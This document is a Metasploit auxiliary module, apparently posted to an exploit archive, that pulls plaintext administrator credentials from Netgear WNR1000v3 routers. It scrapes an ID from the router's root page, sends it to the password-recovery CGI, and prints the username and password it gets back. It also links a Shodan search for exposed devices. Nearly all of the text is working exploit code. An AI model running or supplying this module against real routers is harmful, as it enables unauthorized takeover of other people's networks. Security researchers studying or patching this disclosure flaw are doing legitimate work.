Netgear WNR1000v3 – Password Recovery Credential Disclosure (Metasploit)
# # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework # # Exploit Title: Netgear WNR1000v3 Password Recovery Credential Disclosure Vulnerability # Date: 7-5-14 # Exploit Author: c1ph04 # Vendor Homepage: http://www.netgear.com/ # Version: 1.0 # Tested on: Netgear WNR1000v3 Router Version: <= 1.0.2.62_60.0.87 require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize super( 'Name' => 'Netgear WNR1000v3 Password Extractor', 'Description' => %q{ This module exploits a vulnerability in the password recovery feature of certain Netgear WNR1000v3 routers. Affected devices will allow retrieval of the plaintext administrator credentials. Vulnerable Versions: <= 1.0.2.62_60.0.87 }, 'References' => [ [ 'URL', 'http://c1ph04text.blogspot.com/2014/01/mitrm-attacks-your-middle-or-mine.html' ], [ 'URL', 'http://packetstormsecurity.com/files/124759/NETGEAR-WNR1000v3-Password-Disclosure.html' ], [ 'URL', 'http://secunia.com/community/advisories/56330' ], [ 'URL', 'http://www.shodanhq.com/search?q=WNR1000v3' ] ], 'Author' => [ 'c1ph04 <c1ph04mail[at]gmail.com>' # aka - "Ms. Difrank"...idiots ], 'License' => MSF_LICENSE ) end def run print_status("#{rhost}:#{rport} - Attempting to extract credentials...") begin res = send_request_raw({ 'uri' => '/', 'method' => 'GET' }) if (res.body =~ /(id)/) uid = res.body.scan(/\d{5,15}/) uid = uid[0] print_good("#{rhost}:#{rport} - UID Retrieved: #{uid}") print_good("#{rhost}:#{rport} - Sending Request...") else print_error("Unexpected response...is this a Netgear Router?") return end res2 = send_request_raw({ 'uri' => "/passwordrecovered.cgi?id=#{uid}", 'method' => 'POST' }) if (res2.body =~ /(successfully)/) creds = res2.body.scan(/left">(.*)</) user = creds[0] pass = creds[1] print_good("#{rhost}:#{rport} - Username: #{user}") print_good("#{rhost}:#{rport} - Password: #{pass}") else print_error("#{rhost}:#{rport} - Failed: Target Not Vulnerable") end end end rescue ::Rex::ConnectionError vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") return end |